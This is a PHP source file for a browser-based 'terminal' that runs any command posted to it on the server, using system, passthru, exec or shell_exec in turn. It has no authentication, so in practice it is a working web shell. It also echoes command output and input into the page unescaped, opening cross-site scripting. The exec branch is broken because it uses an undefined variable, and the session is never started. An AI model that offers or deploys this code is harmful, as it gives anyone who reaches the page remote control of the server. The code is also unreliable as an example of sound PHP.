php terminal example.php

term.php

<?php

error_reporting(E_ALL);
ini_set("display_errors", 1);

    
    class Terminal{
        
        public $command          = '';
        public $output           = '';
        public $directory        = '';
        
        public $command_exec     = '';
        
        public function __construct(){
            if(!isset($_SESSION['dir']) || empty($_SESSION['dir'])){
                    $this->command_exec = 'pwd';
                    $this->Execute();
                    $_SESSION['dir'] = $this->output;
                
            }else{
                $this->directory = $_SESSION['dir'];
                $this->ChangeDirectory();
            }
        }
        
        public function Process(){
            $this->ParseCommand();
            $this->Execute();
            return $this->output;
        }
        
        public function ParseCommand(){
            
            // Explode command
            $command_parts = explode(" ",$this->command);
            
            // Handle 'cd' command
            if(in_array('cd',$command_parts)){
                $cd_key = array_search('cd', $command_parts);
                $cd_key++;
                $this->directory = $command_parts[$cd_key];
                $this->ChangeDirectory();
                // Remove from command
                $this->command = str_replace('cd '.$this->directory,'',$this->command);
            }
            
            // Replace text editors with cat
            $editors = array('vim','vi','nano');
            $this->command = str_replace($editors,'cat',$this->command);
            
            // Update exec command
            $this->command_exec = $this->command . ' 2>&1';
        }
        
        ////////////////////////////////////////////////////
        // Chnage Directory
        ////////////////////////////////////////////////////
        
        public function ChangeDirectory(){
            chdir($this->directory);
            // Store new directory
            $_SESSION['dir'] = exec('pwd');
        }
        
        ////////////////////////////////////////////////////
        // Execute commands
        ////////////////////////////////////////////////////
        
        public function Execute(){
            //system
            if(function_exists('system')){
                ob_start();
                system($this->command_exec);
                $this->output = ob_get_contents();
                ob_end_clean();
            }
            //passthru
            else if(function_exists('passthru')){
                ob_start();
                passthru($this->command_exec);
                $this->output = ob_get_contents();
                ob_end_clean();
            }
            //exec
            else if(function_exists('exec')){
                exec($this->command_exec , $this->output);
                $this->output = implode("\n" , $output);
            }
            //shell_exec
            else if(function_exists('shell_exec')){
                $this->output = shell_exec($this->command_exec);
            }
            // no support
            else{
                $this->output = 'Command execution not possible on this system';
            }
        }        
        
    }
    
    $lcmd = '';
    
    if(!empty($_POST['command'])){ 
    	
    	$command = $_POST['command']; 

        $Terminal = new Terminal();
        $output = '';
        $command = explode("&&", $command);
        foreach($command as $c){
            $Terminal->command = $c;
            $output .= ':~$ ' . $c. "\n" . $Terminal->Process();
            $lcmd = $c;
            
        }
        
        	echo '<textarea rows=40 cols=120>'.$output.'</textarea>';
    
    }


?><form method="post" action="term.php"><input onClick="this.setSelectionRange(0, this.value.length)" autofocus type="text" name="command" id="command" value="<?= $lcmd ?>" /><input type="submit" /></form>

<script>document.onload = function() {  
  document.getElementById("command").focus();
}</script>